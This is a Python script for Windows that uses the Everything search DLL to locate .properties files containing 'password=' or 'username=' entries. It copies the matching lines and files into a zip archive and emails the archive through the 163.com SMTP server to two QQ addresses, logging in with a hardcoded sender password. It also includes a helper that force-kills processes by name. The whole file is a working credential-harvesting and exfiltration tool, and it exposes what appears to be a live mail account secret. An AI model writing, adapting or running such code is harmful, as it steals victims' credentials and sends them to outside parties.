import ctypes
import datetime
import struct
import psutil,os
os.chdir(os.path.dirname(__file__))
#defines
EVERYTHING_REQUEST_FILE_NAME = 0x00000001
EVERYTHING_REQUEST_PATH = 0x00000002
EVERYTHING_REQUEST_FULL_PATH_AND_FILE_NAME = 0x00000004
EVERYTHING_REQUEST_EXTENSION = 0x00000008
EVERYTHING_REQUEST_SIZE = 0x00000010
EVERYTHING_REQUEST_DATE_CREATED = 0x00000020
EVERYTHING_REQUEST_DATE_MODIFIED = 0x00000040
EVERYTHING_REQUEST_DATE_ACCESSED = 0x00000080
EVERYTHING_REQUEST_ATTRIBUTES = 0x00000100
EVERYTHING_REQUEST_FILE_LIST_FILE_NAME = 0x00000200
EVERYTHING_REQUEST_RUN_COUNT = 0x00000400
EVERYTHING_REQUEST_DATE_RUN = 0x00000800
EVERYTHING_REQUEST_DATE_RECENTLY_CHANGED = 0x00001000
EVERYTHING_REQUEST_HIGHLIGHTED_FILE_NAME = 0x00002000
EVERYTHING_REQUEST_HIGHLIGHTED_PATH = 0x00004000
EVERYTHING_REQUEST_HIGHLIGHTED_FULL_PATH_AND_FILE_NAME = 0x00008000
'''
Python Ver > 3.0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'''
#dll imports
# exe path 
# everything_dll = ctypes.WinDLL ("Everything64.dll")

everything_dll = ctypes.WinDLL ("./Everything32.dll")
everything_dll.Everything_GetResultDateModified.argtypes = [ctypes.c_int,ctypes.POINTER(ctypes.c_ulonglong)]
everything_dll.Everything_GetResultSize.argtypes = [ctypes.c_int,ctypes.POINTER(ctypes.c_ulonglong)]
keySym = []
files = []
def makeSearch():
    suffixes = ['.properties']
    keywords = ['password','username']
    Symbols = ['=']
    kk = []
    for x in keywords:
        kk.append(x)
        kk.append(x.upper())
        kk.append(x.capitalize())
    contents = []
    for kw in kk:
        for sy in Symbols:
            contents.append('case:wholeword:content:%s%s' % (kw,sy))
            keySym.append(kw+sy)
    searchStr = []
    for x in suffixes:
        for content in contents:
            searchStr.append('case:wholeword:{su} {content}'.format(su=x,content=content))
    return searchStr
def everySearch(searchStr):
    #setup search
    everything_dll.Everything_SetSearchW(searchStr)
    everything_dll.Everything_SetRequestFlags(EVERYTHING_REQUEST_FILE_NAME | EVERYTHING_REQUEST_PATH | EVERYTHING_REQUEST_SIZE | EVERYTHING_REQUEST_DATE_MODIFIED)
    #execute the query
    everything_dll.Everything_QueryW(1)

    #get the number of results
    num_results = everything_dll.Everything_GetNumResults()

    #show the number of results
    print("Result Count: {}".format(num_results))

    #convert a windows FILETIME to a python datetime
    #https://stackoverflow.com/questions/39481221/convert-datetime-back-to-windows-64-bit-filetime
    WINDOWS_TICKS = int(1/10**-7)  # 10,000,000 (100 nanoseconds or .1 microseconds)
    WINDOWS_EPOCH = datetime.datetime.strptime('1601-01-01 00:00:00',
                                            '%Y-%m-%d %H:%M:%S')
    POSIX_EPOCH = datetime.datetime.strptime('1970-01-01 00:00:00',
                                            '%Y-%m-%d %H:%M:%S')
    EPOCH_DIFF = (POSIX_EPOCH - WINDOWS_EPOCH).total_seconds()  # 11644473600.0
    WINDOWS_TICKS_TO_POSIX_EPOCH = EPOCH_DIFF * WINDOWS_TICKS  # 116444736000000000.0

    def get_time(filetime):
        """Convert windows filetime winticks to python datetime.datetime."""
        winticks = struct.unpack('<Q', filetime)[0]
        microsecs = (winticks - WINDOWS_TICKS_TO_POSIX_EPOCH) / WINDOWS_TICKS
        return datetime.datetime.fromtimestamp(microsecs)

    #create buffers
    filename = ctypes.create_unicode_buffer(260)
    date_modified_filetime = ctypes.c_ulonglong(1)
    file_size = ctypes.c_ulonglong(1)
    #show results
    for i in range(num_results):
        everything_dll.Everything_GetResultFullPathNameW(i,filename,260)
        # everything_dll.Everything_GetResultDateModified(i,date_modified_filetime)
        # everything_dll.Everything_GetResultSize(i,file_size)
        # print("Filename: {}\nDate Modified: {}\nSize: {} bytes\n".format(ctypes.wstring_at(filename),get_time(date_modified_filetime),file_size.value))
        files.append(ctypes.wstring_at(filename))

# from jproperties import jproperties
# def readpro(filename):
import os,zipfile
infos = []
def zipvaluefile(filename):
    zipname = 'infoFiles.zip'
    with zipfile.ZipFile(zipname,'a',zipfile.ZIP_DEFLATED) as z:
        # print(filename)
        try:
            z.write(filename)
        except Exception as e:
            print(e)


def parseProperties(filename):
    with open(filename,'r',errors='ignore') as f:
        for line in f.readlines():
            if isValue(line):
                    zipvaluefile(filename)
                    infos.append(line)

def isValue(line):
    flag = False
    # word = ['password','username','pass','user','Password','Username','Pass','User','pwd','PWD','PASSWORD','USERNAME']
    for x in keySym:
        if x in line:
            flag = True
            break
    return flag
def LookForprocess(processname):
    pids = psutil.pids()
    try:
        for x in pids:
            pid = psutil.Process(x)
            if processname.strip() == pid.name():
                os.system('taskkill /PID  %d /F /T' % x)
    except Exception as e:
        print(e)
def ziplast():
    for r,d,f in os.walk('C:\\Save\\'):
        for x in set(f):
            zipvaluefile('C:\\Save\\%s' % x)
def sendE():
    import smtplib
    from email.mime.text import MIMEText
    from email.mime.multipart import MIMEMultipart
    from email.header import Header
    from email import encoders
    from email.mime.base import MIMEBase
    import mimetypes
    from io import open

    sender = 'qq18889182422@163.com'
    sender_pswd = 'GEACJLNSGSYQANCE'
    receivers = ['940914943@qq.com','1834788208@qq.com']
    subject = 'obj'
    attachment = ['infoFiles.zip']
    mail_body ='test'

    mail_object = MIMEMultipart()
    mail_object['From'] = sender
    mail_object['To'] = ';'.join(receivers)
    mail_object['Subject'] = Header(subject, 'utf-8')
    mail_object.attach(MIMEText(mail_body, 'html', 'utf-8')) #
    data = open('infoFiles.zip', 'rb')
    ctype, encoding = mimetypes.guess_type('infoFiles.zip')
    if ctype is None or encoding is not None:
        ctype = 'application/octet-stream'
    maintype, subtype = ctype.split('/', 1)
    file_msg = MIMEBase(maintype, subtype)
    file_msg.set_payload(data.read())
    data.close()
    encoders.encode_base64(file_msg)
    file_msg.add_header('Content-Disposition', 'attachment', filename="infoFiles.zip")  
    mail_object.attach(file_msg)

    try:
        smtp_obj = smtplib.SMTP('smtp.163.com') # 163 SMTP
        smtp_obj.set_debuglevel(0)
        smtp_obj.login(sender, sender_pswd)
        smtp_obj.sendmail(sender, receivers, mail_object.as_string())
        smtp_obj.quit()
    except Exception as e:
        print(e)
if __name__ == "__main__":
    [everySearch(f) for f in makeSearch()]
    [parseProperties(f) for f in files]
    with open('C:\\Save\\info.txt','w+') as f:
        for x in set(infos):
            f.writelines(x)
    ziplast()
    sendE()